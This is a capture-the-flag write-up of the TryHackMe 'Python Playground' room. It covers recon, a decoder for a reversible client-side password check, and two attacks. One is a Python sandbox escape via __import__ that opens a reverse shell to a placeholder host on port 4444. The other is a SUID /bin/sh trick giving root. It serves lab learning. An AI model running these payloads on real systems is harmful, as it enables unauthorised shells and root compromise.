# TryHackMe Python Playground—Writeup

Welcome back to another write-up! In this post, I’ll walk you through how I tackled the **Python Playground** room on **TryHackMe**, breaking down my thought process, mistakes, and key takeaways along the way. It feels great to be writing write-ups again after being tied up with a lot of stuff lately, but I’m finally back in the grind.

This challenge was a fun mix of logic, Python quirks, and problem-solving—perfect for sharpening both scripting and analytical skills. Whether you’re attempting this room for the first time or just want to compare approaches, I hope this write-up helps you learn something useful and maybe even think a little differently.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FhveI7SgZtiCYhBOKjkwI%2Fgiphy.gif?alt=media&#x26;token=e6c09f01-803e-4ade-9a72-c4549a6b985f" alt=""><figcaption></figcaption></figure>

**Reconnaissance**

First, we’ll scan the target for open ports to identify possible entry points.

`nmap 10.66.162.246`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FMHoO5sRWWylXakVSDDei%2FScreenshot%20(872).png?alt=media&#x26;token=66669997-6414-4abe-8c87-b77da9448c3f" alt=""><figcaption></figcaption></figure>

As shown, ports 22 (SSH) and 80 (HTTP) are currently open.

**Enumeration**

Now let's visit the webpage.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FNTYvFojNakn51yLOdymt%2FScreenshot%20(874).png?alt=media&#x26;token=cf9e4818-24da-4854-bacb-237bb4d81613" alt=""><figcaption></figcaption></figure>

There’s nothing noteworthy here, so let’s attempt to sign up.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F7HpkqFvI2nQikCjmdahn%2FScreenshot%20(875).png?alt=media&#x26;token=718f7d4f-432c-4b8e-b82e-c8eb8299c472" alt=""><figcaption></figcaption></figure>

Only admins? When we try to log in, the same message shows up.

We’ll proceed with subdirectory enumeration using **Gobuster**, as there’s likely more content.

`gobuster dir -u http://10.66.162.246 -w /usr/share/wordlists/dirb/common.txt -q -t 20`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJhNUoTVYrSh4VcRG3QaC%2FScreenshot%20(876).png?alt=media&#x26;token=b72f0863-8fc6-46e2-9a7e-e013916ae2fb" alt=""><figcaption></figcaption></figure>

In addition to the discovered subdomains, an `admin.html` page was found. Let's visit it.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTy3ArZxN0zy867Xo6LUk%2FScreenshot%20(878).png?alt=media&#x26;token=5c76c450-47b8-4797-9c37-8ae14687927e" alt=""><figcaption></figcaption></figure>

It’s a login page, but since we don’t have credentials yet, let’s inspect the source code for any hidden or useful information.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FG46B801P2sns8sTORrTn%2FScreenshot%20(879).png?alt=media&#x26;token=010075a6-7188-409f-a8f6-99db16e85307" alt=""><figcaption></figcaption></figure>

We found a set of credentials here, but the password is hashed. There’s also a hidden path, so let’s check that next.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FzBLDHMv7wIPWe9kqf4MF%2FScreenshot%20(881).png?alt=media&#x26;token=2bcd8494-80d6-491a-b915-6432f80cee36" alt=""><figcaption></figcaption></figure>

From the looks of it, this appears to be an online Python IDE. Let's try to run some code here.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FWupYrw4zn4gONNQeOS5N%2FScreenshot%20(882).png?alt=media&#x26;token=355b0d36-14e1-47e3-a51a-286abab91322" alt=""><figcaption></figcaption></figure>

As you can see, it’s working! Next, let’s make some adjustments and see if we can import modules.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTQq0nNIlOSc0NYiesYVx%2FScreenshot%20(883).png?alt=media&#x26;token=a3767d07-9d3d-4476-a11d-3b1fc45f443c" alt=""><figcaption></figcaption></figure>

As expected, certain operations like `import` are restricted. This is similar to what I encountered in the [PyLington](https://www.vulnhub.com/entry/pylington-1,684/) Boot2Root challenge on VulnHub.

To bypass the restriction, we can take advantage of Python’s built‑in `__import__` function, which is what the interpreter internally uses to load modules. In many sandboxed environments, the `import` keyword is blocked through simple keyword filtering, but the underlying functionality remains accessible. By directly invoking `__import__`, we can load the necessary modules without using the restricted keyword, effectively bypassing the limitation, an approach commonly seen in insecure Python sandboxes.

```python
o = __import__('os')
s = __import__('socket')
p = __import__('subprocess')

k=s.socket(s.AF_INET,s.SOCK_STREAM)
k.connect(("IP_ADDRESS",4444))
o.dup2(k.fileno(),0)
o.dup2(k.fileno(),1)
o.dup2(k.fileno(),2)
c=p.call(["/bin/sh","-i"]);
```

Before we execute this we must set a listener via `netcat` .

`nc -lnvp 4444`&#x20;

Now let's execute our payload.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FK6Wl61HgT1nxrFYpj4v4%2FScreenshot%20(888).png?alt=media&#x26;token=be024caf-04af-4aa2-b5da-f56d91022be4" alt=""><figcaption></figcaption></figure>

We’ve successfully obtained a shell, and as shown, it’s running with root privileges. While exploring the system, we were able to retrieve `flag1.txt` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FLjQCJKOg2E3tWdpa0VRA%2FScreenshot%20(890).png?alt=media&#x26;token=e02159cb-c18c-42a2-90be-a30a9afa5ff4" alt=""><figcaption></figcaption></figure>

Next, we’ll look for the second flag. From the earlier `Nmap` scan, **SSH** was open, which suggests that `connor` might be a valid user. Let’s revisit the login page source code we examined earlier.

```javascript
<script>
  // I suck at server side code, luckily I know how to make things secure without it - Connor

  function string_to_int_array(input) {
    let result = [];

    for (let i = 0; i < input.length; i++) {
      let code = input.charCodeAt(i);
      result.push(Math.floor(code / 26));
      result.push(code % 26);
    }

    return result;
  }

  function int_array_to_text(arr) {
    let output = '';

    for (let i = 0; i < arr.length; i++) {
      output += String.fromCharCode(arr[i] + 97);
    }

    return output;
  }

  document.forms[0].addEventListener('submit', function (e) {
    e.preventDefault();

    const user = document.getElementById('username').value;
    if (user !== 'connor') {
      document.getElementById('fail').style.display = '';
      return false;
    }

    const pass = document.getElementById('inputPassword').value;

    const hash =
      int_array_to_text(
        string_to_int_array(
          int_array_to_text(
            string_to_int_array(pass)
          )
        )
      );

    if (hash === 'REDACTED') {
      window.location = 'super-secret-admin-testing-panel.html';
    }
  });
</script>

```

**What JavaScript encoder does?**

The encoder is composed of **two simple reversible functions**, applied **twice**.

**1. string\_to\_int\_array(str)**

For a character `c`:

```js
charcode = c.charCodeAt(0)
partA = floor(charcode / 26)
partB = charcode % 26
```

This is just **base‑26 decomposition**.

Mathematically:

$$
\text{charcode} = 26 \times \text{partA} + \text{partB}
$$

Where:

* `partA` = quotient
* `partB` = remainder
* `0 ≤ partB < 26`

So **no information is lost**.

**Example**

Character: '`a`'

```perl
ord('a') = 97
97 = 26 × 3 + 19
→ [3, 19]
```

**2. int\_array\_to\_text(int\_array)**

This maps **numbers → letters**:

```js
String.fromCharCode(97 + n)
```

Meaning:

```
0  → 'a'
1  → 'b'
...
25 → 'z'
```

So `[3,19] → "dt"`&#x20;

**One Full Encoding Pass**

For one character `c`:

```
c
→ charcode
→ [partA, partB]
→ letters
```

Like this:

```
'a'
→ 97
→ [3,19]
→ "dt"
```

This operation is **bijective** (1‑to‑1 and reversible).

**Why It’s Applied Twice?**

The JavaScript code does this:

```js
int_array_to_text(
  string_to_int_array(
    int_array_to_text(
      string_to_int_array(password)
    )
  )
)
```

So the flow is:

```
password
→ encoded once
→ encoded again
→ final hash
```

Each character:

```
1 char → 2 chars → 4 chars
```

This is why the hash is so long. (Well, obviously not a hash since it's reversible-,-)

Here's the decoder I've made to reverse this using Python:

```python
import string

ALPHABET = string.digits + string.ascii_lowercase
HASH = "REDACTED"

def decode_layer(encoded):
    """
    Reverses ONE application of:
    int_array_to_text(string_to_int_array(input))
    """
    decoded = []

    # process pairs (partA, partB)
    for i in range(0, len(encoded), 2):
        a = ord(encoded[i]) - 97
        b = ord(encoded[i + 1]) - 97

        for ch in ALPHABET:
            o = ord(ch)
            if o // 26 == a and o % 26 == b:
                decoded.append(ch)
                break

    return "".join(decoded)

# reverse the transformation twice (because JS applied it twice)
stage1 = decode_layer(HASH)
password = decode_layer(stage1)

print(password)
```

Run the script with the "hash" and here's what we get:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FE7GPZVRf7YOgnQ8skSk7%2FScreenshot%20(892).png?alt=media&#x26;token=31db522a-e173-4e20-9d6d-bddeec0dab5e" alt=""><figcaption></figcaption></figure>

Next, let’s attempt to log in to SSH as `connor` using the password we obtained.

`ssh connor@10.66.162.246`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FSpMWPhLt7oSOzRkcYCuw%2FScreenshot%20(893).png?alt=media&#x26;token=5b156cb2-c410-4e0e-a295-95c5edc7a880" alt=""><figcaption></figcaption></figure>

And we've found the flag2!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F4KsrBlaiFNYuNH1Pas2r%2FScreenshot%20(894).png?alt=media&#x26;token=5caa47ce-c1b6-4442-84c8-aef4d6d68635" alt=""><figcaption></figcaption></figure>

It’s time to go after the final flag. Initially, I struggled, assuming there was a privilege‑escalation path from the `connor` user, but after returning to the reverse shell I noticed the content of this directory `/mnt/log` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F7Lou3MMzWh9OGR0DZFAT%2FScreenshot%20(897).png?alt=media&#x26;token=40b329de-e790-4aa1-b1d9-ab9bb01a0729" alt=""><figcaption></figcaption></figure>

A closer look shows that this directory contains logs tied to activity from the system accessed using Connor’s account. Because we already have root access on this machine, we can abuse this trust boundary by placing or modifying files in a location Connor can execute. When a root‑owned file with unsafe permissions is exposed through shared or improperly protected paths, a normal user can run it and inherit elevated privileges—demonstrating how poor isolation and log directory misuse can lead directly to privilege escalation.

Here's how we can exploit it

In our reverse shell:

`cp /bin/sh /mnt/log`

This copies the system shell binary into a directory that is accessible from the logging path.

`chmod +s /mnt/log/sh`&#x20;

This sets the SUID bit on the copied shell, forcing it to run with the file owner’s privileges (root) regardless of who executes it.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FnAOcIj74wSms6C6oV1EH%2FScreenshot%20(899).png?alt=media&#x26;token=feb65394-e93c-407a-bc10-84951ba9ec46" alt=""><figcaption></figcaption></figure>

Now that it's all set, let's go back to `connor`  and execute this command:

`/var/log/sh -p`&#x20;

This executes the SUID shell while preserving elevated privileges, resulting in a root shell for the unprivileged user.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FbrH18LoQQRqrxg6RJ0Ed%2FScreenshot%20(914).png?alt=media&#x26;token=d781bd65-fd28-448a-8749-7b67292c1dd2" alt=""><figcaption></figcaption></figure>

We're finally root!! And we've successfully got the flag3!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FatIRpybRWhn5axFikEvJ%2FScreenshot%20(915).png?alt=media&#x26;token=ddb2022c-6c07-41c0-a8ab-2098ff1851e5" alt=""><figcaption></figcaption></figure>

We've successfully solved **Python Playground**!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FaU9s68kYh3xXQim4tKzE%2FScreenshot%20(905).png?alt=media&#x26;token=f35cb202-48e5-4f07-bbab-cc10278bcffc" alt=""><figcaption></figcaption></figure>

I hope you learned something from this write‑up. More importantly, don’t fall into the habit of blindly reading write‑ups and copy‑pasting commands—you’re only fooling yourself. Real learning happens when you understand *why* an exploit works, not just *how* to run it. Take the time to analyze, break things, and think critically, because that mindset is what actually makes you better.
